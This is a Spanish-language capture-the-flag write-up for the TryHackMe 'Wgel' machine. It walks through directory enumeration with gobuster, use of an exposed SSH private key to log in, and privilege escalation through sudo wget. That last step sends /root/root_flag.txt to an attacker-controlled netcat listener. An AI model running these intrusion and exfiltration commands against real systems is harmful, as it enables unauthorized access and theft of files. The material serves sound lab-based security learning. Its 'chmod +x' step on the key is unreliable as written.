---
title: THM - WGEL
chapter: 1
tags: [tryhackme]
difficulty: easy
---
## Scan
Al realizar un escaneo a la máquina se encuentran los siguientes puertos abiertos.

Por lo que parece ser un reto de categoría web
## Enumeración
Al entrar a la página se puede ver la configuración por defecto del servidor de apache, por lo que sería buena idea buscar directorios por defecto para encontrar información intersante.

Pero antes es importante revisar el código fuente para encontrar alguna clase de información de utiliad. Por ejemplo en este caso el nombre de un usuario.

Para listar directorios se hace uso del siguiente comando:
```bash=
gobuster dir -u http://10.10.184.7/ -w /usr/share/wordlists/dirb/big.txt -t 100 -x .php,.html,.txt,.js,.jpg,.png
```

Y al entrar en la dirección /sitemap se encuentra la siguiente página web.

Al navegar dentro de la página web no parece haber nada interanste. Por lo que se vuelven a intentar listar directorios dentro del directorio /sitemap. Haciendo uso del siguiente comando:
```bash=
gobuster dir -u http://10.10.184.7/sitemap -w /usr/share/wordlists/dirb/big.txt -t 100 -x .php,.html,.txt,.js,.jpg,.png
```
En donde se encuentrán varios directorios/archivos. Pero de los cuales el directorio .ssh parece bastante llamativo.

En donde se encuentra una llave rsa con la que se puede obtener acceso al host víctima sin necesidad de tener credenciales.

## Explotación
Pero primero es necesario darle los permisos adecuados a la llave ssh con chmod:
```bash=
chmod +x id_rsa
```
Ahora solo hace falta conectarse por via ssh haciendo uso del siguiente comando.
```bash=
ssh -i id_rsa jessie@10.10.184.7
```

Y al revisar dentro del host se puede encontrar el archivo que contiene la flag a simple vista.

## Escalada de privilegios
Al revisar los permisos de ejecución con los que cuenta el usuario jessie, se puede ver que puede ejecutar como sudo wget.

Con esto en mente solo hace falta hacer uso de gtfobins para poder encontrar alguna manera de escalar privilegios.
En este caso también es valido lograr mover a la máquina atacante información privilegiada, así que se hace uso de wget para montar un servidor sobre el que se pueda extraer el archivo root_flag.txt. Para poder hacer esto es necesario saber el nombre del archivo que se quiere enviar, y poner algún puerto a la escucha. Y con eso hacer uso del siguiente comando.
```bash=
#HOST ATACANTE
nc -lvp 80
```
```bash=
#HOST VÍCTIMA
sudo /usr/bin/wget --post-file=/root/root_flag.txt 10.8.116.197
```
Y con eso llegara a el host atacante la respuesta con la flag.
